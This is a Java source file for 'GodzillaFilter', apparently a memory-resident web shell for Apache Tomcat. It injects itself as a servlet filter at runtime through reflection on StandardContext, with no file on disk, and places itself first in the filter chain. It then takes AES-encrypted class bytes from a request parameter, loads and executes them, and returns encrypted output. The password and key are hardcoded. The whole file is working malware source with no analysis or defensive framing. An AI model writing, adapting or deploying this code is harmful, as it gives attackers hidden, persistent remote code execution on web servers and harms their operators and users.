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package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
public class GodzillaFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
String xc = "3c6e0b8a9c15224a";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
String md5;
public String cs;
public GodzillaFilter() {
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public GodzillaFilter(ClassLoader z) {
super(z);
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
byte[] data = base64Decode(req.getParameter(this.Pwd));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} catch (Exception var10) {
}
}
public void destroy() {
}
}